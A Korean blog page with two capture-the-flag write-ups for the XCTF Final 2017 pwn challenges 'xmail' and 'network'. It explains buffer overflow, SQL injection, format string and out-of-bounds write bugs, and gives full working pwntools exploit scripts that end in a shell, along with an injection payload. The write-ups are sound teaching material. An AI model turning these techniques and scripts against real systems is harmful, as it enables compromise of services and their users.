'2018/10/06'에 해당하는 글 2건

XCTF FINAL 2017 - xmail

CTF 2018.10.06 04:15

Abstract


XCTF 2017 Final - 2일 차에 출제된 문제.


대회 이름 혹은 문제 이름을 떠올리기만 해도 미안함과 죄책감에 사로잡히는 대회들이 있다.

당시에 내가 풀지 못했던 문제들 인해 행복한 추억이 될 수 있던 순간들이 괴로운 기억으로 남았다.


그 중 XCTF를 생각하면 가슴이 턱 막힌다. 자신에게 기대, 다짐, 의미가 큰 대회였지만, 그에 비해 내 능력은 준비되어 있지 않았다. 결국, 내 역할을 제대로 수행하지 못하여 대회를 망쳤다.


최근 XCTF 2016에서 출제됐던 문제들을 모두 풀고, 좀 울컥했다. 대회때는 날 패치하지 못한 취약점들 패치한다고 문제를 제대로 보지 못했지만, 그게 핑계가 되어주지 못 할 정도로 취약점들이 간단했기 때문이다. 자신감이 바닥이라 내가 풀 수 있다는 확신도 없던걸까? 이제와서 1시간도 안되어 쉘을 따자마자 멘탈이 나가 노트북을 덮었다. 너무 허무하다. 당시에 내가 network든 xmail이든 풀기만 했더라도 순위가 크게 밀려나는 일은 없었을텐데, 뭐가 그렇게 자신없어 flag 털리고 패치나 하고 앉았을까.


시간을 되돌려 그 순간으로 너무나 돌아가고 싶다. 앞으로 그 사람들과 다시 한번 같은 상황, 여건, 분위기에서 대회를 나갈 수 있는 기회는 더 이상 없을 것이다. XCTF를 비롯해 4년간 나와 함께 했던 팀원들에게 너무나 미안하다.


함께 발전을 이룰 수 있는 중요한 시간을 나만 아무것도 이루지 않고 제자리에 있었다. 

다행히 (자의적으로는 아니지만) 잠깐 동안 컴퓨터와 완벽히 단절된 시간을 보내면서, 이게 제일 재밌다는 것을 이제라도 깨달았다.


내가 느슨해질 때마다 XCTF와 여러 대회들을 기억하고 괴로워하며 빡세게 공부해야겠다.


미안합니다.



Vulnerability(1) Stack based buffer overflow


기능을 보다보면 사용자에게 큰 명령을 입력받을 때, get_input(사용자 정의)이라는 함수를 이용한다.



 




 


입력을 받을 때 buffer의 크기를 고려하지 않고 사용자에게 size를 입력받는다. size가 0x80인 stack buffer에 입력받으므로 simple stack bof.


pay = ''
pay += chr(0x84)
pay += p32(0x7fffffff)[::-1]
pay += 'QUIT '
pay = pay.ljust(0x2a8 + 5, '\x00')
pay += p64(libc_pop_rdi)
pay += p64(libc_sh)
pay += p64(libc_system)
pay += '\x0b'

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()



Vulnerability(2) SQL Injection -> heap overflow


xmail은 sqlite database에 message를 남기는 기능이 있다. 

message를 확인할 땐, username을 기준으로 확인하게 되는데, username에 별다른 filtering이 없어 sql injection이 가능하다.


username: ' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- 


// sqlite 에 repeat 함수가 없어서 저걸로 대신함.


username이 위와 같을때 size 0x1010인 heap chunk에 0x1020byte가 복사되어 heap overflow가 발생한다.

(exploit과정은 조금 삽질을 해야할 것이다.)


 



pay = ''
pay += 'USER '
pay += """' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- \x0c"""
pay += '\x0b'
pay = chr(len(pay)) + pay

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()


[pid 17507] [0x40249a] sprintf("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '",

"SELECT idx, message FROM xmessage WHERE username = '%s'",

"' union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- ") = 116
[pid 17507] [0x4021d7] strstr("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '", "shell") = nil
[pid 17507] [0x4021f7] strstr("SELECT idx, message FROM xmessage WHERE username = ''

union select 1, replace(quote(zeroblob(313370)), '0', 'a')-- '", "system") = nil
[pid 17507] [0x4024db] sqlite3_prepare_v2(0x1ced078, 0x7ffd0237c990, 0xffffffff, 0x7ffd0237cde0) = 0
[pid 17507] [0x4025dd] sqlite3_step(0x1d11898, 0, 0x1ced018, 1) = 100
[pid 17507] [0x40253e] sqlite3_column_int(0x1d11898, 0, 0x1ced018, 0) = 1
[pid 17507] [0x402559] sqlite3_column_blob(0x1d11898, 1, 0x1ced018, 1) = 0x1f0b998
[pid 17507] [0x402575] sqlite3_column_bytes(0x1d11898, 1, 0x1ced018, 1) = 0x99037
[pid 17507] [0x402582] malloc(4112) = 0x1fa5d30
[pid 17507] [0x4025a3] memcpy(0x1fa5d40, "X'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"..., 626743 <no return ...>
[pid 17507] [0x7ff3a1511156] --- SIGSEGV (Segmentation fault) ---
[pid 17507] [0xffffffffffffffff] +++ killed by SIGSEGV +++


Vulnerability(3) Format string bug[1]


Format string bug가 다수 존재한다. 심지어 stack에 데이터를 쓸 수 있기 때문에 굳이 double stated fsb를 하지 않아도 된다.


 




Vulnerability(4) Format string bug[2]


마찬가지.


 




Vulnerability(5) Memory leak


heap에 몇 개의 message를 남길 수 있는 기능도 존재한다.

message를 남기고(leave), 확인하고(show), 삭제(delete)할 수 있는 기능이 존재하는데, message를 leave / delete할 때, heap을 초기화 하지 않는다.




따라서 chunk를 free했을 때 생기는 fd / bk도 chunk에 그대로 남게되는데, 마침 show 함수가 0x10이라는 고정된 길이만큼 출력해주기 때문에 unsorted bin chunk를 만들어서 main_arena 주소를 알아낼 수 있다.



(1) fastbin 보다 큰 chunk를 만들고

(2) free 시키면 fd, bk가 main_arena+88의 주소를 가지게 된다.

(3) 다시 한번 할당하여 

(4) 출력하면 main_arena 주소를 알아낼 수 있다.  = libc주소 leak

cmd_leave(0, 0x90, 'a'*0x90)
cmd_delete(0)
cmd_leave(0, 0x90, 'a'*8)

libc_base = u64(cmd_show(0)[8:16]) - 0x3c4de8



* 모든 취약점에 대한 exploit할 필요가 없을 것 같아 BOF와 FSB exploit을 1개씩 작성했다.



Exploit - FSB

#!/usr/bin/python

from pwn import *

def cmd_send_mode():
ru('Message?\n')
ss('S\x00')

def send_req(data):
size = len(data)
obj = ''
obj += p16(1)
obj += p16(size + 8 + 2)
obj += p32(0)
ss(obj)

obj = ''
obj += chr(size)
obj += data
obj += '\x0b'
ss(obj)


align = lambda block, data: data+'\x00'*(block- (len(data) % block))

s = process('./xmail')
rr = s.recv
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send


def ru2(msg):
data = ''
while msg not in data:
data += rr(1)
print 'a'
print data
return data

raw_input('>')
cmd_send_mode()

send_req('DATA')
ru('354 end with .\r\n')
send_req('%63$p\x00')
send_req('.\r\n\x00')

libc_base = int(rl().strip(), 16) - 0x20830
print hex(libc_base)

printf_got = 0x604068
libc_system = libc_base + 0x45390

fsb = ''
cnt = 0
idx = 14

for i in range(0, 3):
target = (libc_system >> (i*16)) & 0xffff
if target >= cnt:
fsb += '%{}c%{}$hn'.format(target-cnt, idx)
else:
fsb += '%{}c%{}$hn'.format((target+0x10000 - cnt)&0xffff, idx)
idx += 1
cnt = target
fsb += '##'

pay = ''
pay += align(8, fsb)
pay += p64(printf_got)
pay += p64(printf_got + 2)
pay += p64(printf_got + 4)

send_req('DATA')
ru('354 end with .\r\n')
send_req(pay)
send_req('.\r\n\x00')

send_req('DATA')
#ru('354 end with .\r\n')
send_req('sh\x00')
send_req('.\r\n\x00')

sl('id')
ru('354 end with .\r\n')

s.interactive()
s.close()



Exploit - BOF

#!/usr/bin/python

from pwn import *

def cmd_recv(size_obj, msg):
ru('Message?\n')
ss('R\x00')
ru('+OK POP3 server ready')
ss(size_obj)
ss(msg)


def cmd_leave(idx, msg_len, msg):
ru('Message?\n')
ss('L\x00')
ru('Leave message here....\n')
sl(str(idx))
sl(str(msg_len))
ss(msg)


def cmd_delete(idx):
ru('Message?\n')
ss('D\x00')
ru('Delete message here....\n')
sl(str(idx))


def cmd_show(idx):
ru('Message?\n')
ss('M\x00')
ru('Memory detect here....\n')
sl(str(idx))
return rr(0x10)


s = process('./xmail')
rr = s.recv
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

raw_input('>')

cmd_leave(0, 0x90, 'a'*0x90)
cmd_delete(0)
cmd_leave(0, 0x90, 'a'*8)

libc_base = u64(cmd_show(0)[8:16]) - 0x3c4de8
libc_system = libc_base + 0x45390
libc_pop_rdi = libc_base + 0x7a170
libc_sh = libc_base + 0x11e70

print hex(libc_base)

pay = ''
pay += chr(0x84)
pay += p32(0x7fffffff)[::-1]
pay += 'QUIT '
pay = pay.ljust(0x2a8 + 5, '\x00')
pay += p64(libc_pop_rdi)
pay += p64(libc_sh)
pay += p64(libc_system)
pay += '\x0b'

cmd_recv(p16(1)+p16(0x3000)+p32(0), pay)

s.interactive()
s.close()


$ python ex_bof.py
[+] Starting local process './xmail': pid 518
>
0x7f55fcecd000
[*] Switching to interactive mode

+OK
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

$ python ex_fsb.py
[+] Starting local process './xmail': pid 500
>
0x7f052a988000
[*] Switching to interactive mode
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)
$

'CTF' 카테고리의 다른 글

SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

XCTF FINAL 2017 - network

CTF 2018.10.06 04:15


Abstract


XCTF 2017 Final에서 2일 차에 공개된 문제. jinmo123이 first blood로 풀어 모든 팀들을 압살하고 1위를 찍은 문제.

취약점은 은근히 간단하지만, 아무리 생각해봐도 당시 jinmo123이 풀었던 속도로는 못 풀었을 것 같다. (개빠름)

그래도 당시에 제대로 봤다면 최소한 늦은 exploit이나 patch라도 가능했을텐데, 너무나 아쉽다.



Main thread


main함수는 아래와 같이 10개의 thread를 생성하고, 사용자의 input을 0번 thread에 전송한다.


 

// 9개의 transfer thread 와 1개의 message thread를 생성.


// 무한루프를 돌며 사용자에게 입력을 받고, 0번 transfer thread에 전송.



(1) Transfer thread


transfer thread는 사용자에게 입력받은 데이터를 다음 thread에 전달하는 역할을 한다.

크게 2가지 기능을 가지고 있다.


1. transfer

- 사용자가 지정한 thread에 input이 도달할 때까지 다음 thread로 input을 전달한다.


2. update

- 사용자가 지정한 thread가 가지고 있는 thread information을 갱신한다.


아래는 transfer thread의 코드이다. 


 


코드를 파트별로 나누어보면 아래와 같다.


1. transfer : 전송 대상이 message thread이면 0x108 byte를 입력받아 다음 transfer thread로 전송한다.

2. transfer : 전송 대상이 자신이 아닌 transfer thread이면 0x1c byte를 입력받아 다음 transfer thread로 전송한다.

3. update : 전송 대상이 자신이면 0x1c byte를 입력받아 thread information table(thread_info)을 갱신한다. 


transfer thread



User input

main

thread 

(input)

transfer

thread 0 

transfer

thread 1 

transfer

thread 2 

transfer

thread 3  

transfer

thread 4  

transfer

thread 5  

transfer

thread 6  

transfer

thread 7  

transfer
thread 8 

Message 

thread




(2) Message thread





message thread는 name과 message를 지역변수에 입력(set)받고, 보여주는 기능(show)을 하는 간단한 쓰레드이다.

이 thread 자체에서 취약점을 찾지는 못했지만, exploit할 때 이용할 수 있었다.


name과 message를 저장하는 지역변수는 아래와 같은 구조체로 정의되어있다.


struct broker_buf{
int name_length;
char name[0x200];
int msg_length;
char msg[0x200];
}


show info 기능은 message 구조체에 저장된 name, msg를 name_length, msg_length만큼 출력(write)해준다.



set info 기능은 사용자에게 name_length, name, msg_length, msg를 입력받고 구조체에 저장한다. 이외에 별다른 특징은 없다.




Out Of Boundary


transfer thread의 3가지 기능 중, thread information table을 갱신하는 기능에서 취약점이 발생한다. 사용자에게 업데이트 할 thread information table의 index를 입력받는데(t_info_buf[0]), signed int형으로 boundary check를 하기 때문에 index가 음수일 때 out of boundary 주소에 memcpy를 시킬 수 있다.


// t_info_buf[0] > 9로 비교함. t_info_buf를 unsigned로 임시형변환을 하거나 0보다 작은지 검사했어야 함.


아래와 같이 message thread stack이 transfer thread stack보다 낮은 주소에 있기 때문에 index를 잘 control하면 message thread의 지역변수를 덮어쓸 수 있다.

gdb-peda$ shell cat /proc/15935/maps
5593c65ee000-5593c65f1000 r-xp 00000000 fc:00 3409115 /home/pwn3r/network
5593c67f0000-5593c67f1000 r--p 00002000 fc:00 3409115 /home/pwn3r/network
5593c67f1000-5593c67f2000 rw-p 00003000 fc:00 3409115 /home/pwn3r/network
5593c741a000-5593c743b000 rw-p 00000000 00:00 0 [heap]
7f192d451000-7f192d452000 ---p 00000000 00:00 0
7f192d452000-7f192dc52000 rw-p 00000000 00:00 0                          message thread stack
7f192dc52000-7f192dc53000 ---p 00000000 00:00 0
7f192dc53000-7f192e453000 rw-p 00000000 00:00 0                          transfer thread 8 stack
7f192e453000-7f192e454000 ---p 00000000 00:00 0
7f192e454000-7f192ec54000 rw-p 00000000 00:00 0                          transfer thread 7 stack
7f192ec54000-7f192ec55000 ---p 00000000 00:00 0
7f192ec55000-7f192f455000 rw-p 00000000 00:00 0                          transfer thread 6 stack
7f192f455000-7f192f456000 ---p 00000000 00:00 0
7f192f456000-7f192fc56000 rw-p 00000000 00:00 0                          transfer thread 5 stack
7f192fc56000-7f192fc57000 ---p 00000000 00:00 0
7f192fc57000-7f1930457000 rw-p 00000000 00:00 0                          transfer thread 4 stack
7f1930457000-7f1930458000 ---p 00000000 00:00 0
7f1930458000-7f1930c58000 rw-p 00000000 00:00 0                          transfer thread 3 stack
7f1930c58000-7f1930c59000 ---p 00000000 00:00 0
7f1930c59000-7f1931459000 rw-p 00000000 00:00 0                          transfer thread 2 stack
7f1931459000-7f193145a000 ---p 00000000 00:00 0
7f193145a000-7f1931c5a000 rw-p 00000000 00:00 0                          transfer thread 1 stack
7f1931c5a000-7f1931c5b000 ---p 00000000 00:00 0
7f1931c5b000-7f193245b000 rw-p 00000000 00:00 0                          transfer thread 0 stack
7f193245b000-7f193261b000 r-xp 00000000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193261b000-7f193281b000 ---p 001c0000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193281b000-7f193281f000 r--p 001c0000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f193281f000-7f1932821000 rw-p 001c4000 fc:00 3683173 /lib/x86_64-linux-gnu/libc-2.23.so
7f1932821000-7f1932825000 rw-p 00000000 00:00 0
7f1932825000-7f193283d000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f193283d000-7f1932a3c000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3c000-7f1932a3d000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3d000-7f1932a3e000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7f1932a3e000-7f1932a42000 rw-p 00000000 00:00 0
7f1932a42000-7f1932a68000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c50000-7f1932c54000 rw-p 00000000 00:00 0
7f1932c67000-7f1932c68000 r--p 00025000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c68000-7f1932c69000 rw-p 00026000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7f1932c69000-7f1932c6a000 rw-p 00000000 00:00 0
7ffd806a1000-7ffd806c2000 rw-p 00000000 00:00 0 [stack]
7ffd8077c000-7ffd8077f000 r--p 00000000 00:00 0 [vvar]
7ffd8077f000-7ffd80781000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]


Memory leak


OOB write를 이용하여 message thread에 있는 message 구조체의 msg_length를 0x300정도로 변경하고 show info 기능을 부르면 stack에 있는 SSP와 libc주소를 알아낼 수 있다.




아래와 같이 message thread stack에 있는 message->msg_length의 index를 계산하여 0x2b8로 덮어쓴다.

그 뒤 show info 기능을 부르면 message->msg 를 출력할 때 memory leak 발생!

pay = ''
pay += p32((-((0x801000 * 9 + 0x210 - 0x204)) / 0x18) & 0xffffffff)

# index (&message->msg_length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(1) # mid
pay += p32(0x2b8) # tid (new msg_length!)
pay += p32(2) # rand1
pay += p32(3) # rand2
t_send(0, 0, pay)

ru('tid:')
rl()

pay = ''
pay += p32(0x100) # size
pay += p32(0x0) #
pay += p32(0x2) # menu2 : show
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
ru('msg:\n')
leak = rr(0x2b8)
ssp = u64(leak[0x200:0x208])
libc_base = u64(leak[0x2b0:0x2b8]) - 0x10741d

print hex(ssp)
print hex(libc_base)



Stack overflow


set info 기능을 불러 아래와 같이 입력한다.


name length : 4

name : NAME

msg length : 0x100


이제 "msg:" 를 출력하고 입력이 read_data함수를 불러 data transfer를 대기하는 상태가 된다. 이 때 OOB write로 length 지역변수를 0x200 이상으로 바꾸어버리면 stack based buffer overflow를 trigger할 수 있다.




아래와 같이 name length / name / msg length 를 입력하여 msg 입력을 대기하는 상태로 만들어놓고, OOB write로 입력받을 길이인 length를 0x200보다 큰 값으로 덮어쓴다. 그 다음 msg 입력에서 overflow가 발생할 때 SSP 복구, return addres = one gadget.



pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x1) # menu : add
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)


ru('name length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x4) # name_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
pay = ''
pay += p32(0x4) # size
pay += p32(0x1)
pay += 'NAME'
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x100) # msg_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg:\n')
############### modify msg length on memory ########################
pay = ''
pay += p32((-((0x801000 * 9 + 0x240 + 16 + 0x20)) / 0x18) & 0xffffffff)

# index (&length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(0) # mid
pay += p32(0) # tid
pay += p32(0) # rand1
pay += p32(0x200 + 8 + 8 + 8*3) # rand2 = new size (sizeof(msg)+sizeof(canary)+sfp+ret)
t_send(0, 0, pay)
ru('tid:')
rl()
####################################################################



################## trigger bof #####################################
# ru('msg:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x1) #
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x100) # size
pay += p32(0x1)
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x8 * 5) # size
pay += p32(0x1)
pay += p64(ssp) # ssp
pay += p64(0x9090909090909090) # sfp
pay += p64(libc_one_gadget)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################



Exploit

#!/usr/bin/python

from pwn import *

def t_send(idx, broad, data):
sl('8')
ss(p32(idx)+p32(broad))
assert len(data) == 0x1c or len(data) == 0x108
sl(str(len(data)))
ss(data)


s = process('./network')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send


raw_input('>>>')

rl()
rl()
rl()

pay = ''
pay += p32((-((0x801000 * 9 + 0x210 - 0x204)) / 0x18) & 0xffffffff)

# index (&name_length on message thread stack)
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(1) # mid
pay += p32(0x2b8) # tid
pay += p32(2) # rand1
pay += p32(3) # rand2
t_send(0, 0, pay)

ru('tid:')
rl()

pay = ''
pay += p32(0x100) # size
pay += p32(0x0) #
pay += p32(0x2) # menu2 : show
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
ru('msg:\n')
leak = rr(0x2b8)
ssp = u64(leak[0x200:0x208])
libc_base = u64(leak[0x2b0:0x2b8]) - 0x10741d

print hex(ssp)
print hex(libc_base)

libc_one_gadget = libc_base + 0xf02a4
libc_system = libc_base + 0x45390
libc_pop_rdi = libc_base + 0x7a170
libc_sh = libc_base + 0x0011e70

pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x1) # menu : add
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)


ru('name length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x4) # name_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('name:\n')
pay = ''
pay += p32(0x4) # size
pay += p32(0x1)
pay += 'NAME'
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg length:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x0)
pay += p32(0x100) # msg_length
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)

ru('msg:\n')
############### modify msg length on memory ########################
pay = ''
pay += p32((-((0x801000 * 9 + 0x240 + 16 + 0x20)) / 0x18) & 0xffffffff) # name_size
pay += p32(0x9090) # next w pipe
pay += p32(0) # nid
pay += p32(0) # mid
pay += p32(0) # tid
pay += p32(0) # rand1
pay += p32(0x200 + 8 + 8 + 8*3) # rand2 = new size (sizeof(msg)+sizeof(canary)+sfp+ret)
t_send(0, 0, pay)
ru('tid:')
rl()
####################################################################



################## trigger bof #####################################
# ru('msg:\n')
pay = ''
pay += p32(0x100) # size
pay += p32(0x1) #
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x100) # size
pay += p32(0x1)
pay = pay.ljust(0x108, 'A')
t_send(9, 1, pay)

pay = ''
pay += p32(0x8 * 5) # size
pay += p32(0x1)
pay += p64(ssp) # ssp
pay += p64(0x9090909090909090) # sfp
pay += p64(libc_one_gadget)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################



############# menu3 quit -> rip control ############################
pay = ''
pay += p32(0x100)
pay += p32(0x0)
pay += p32(0x3)
pay = pay.ljust(0x108, '\x00')
t_send(9, 1, pay)
####################################################################

s.interactive()
s.close()

$ python ex.py
[+] Starting local process './network': pid 5975
>>>
0x862574030b0f8200
0x7efd55335000
[*] Switching to interactive mode
\x04
bye~!
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret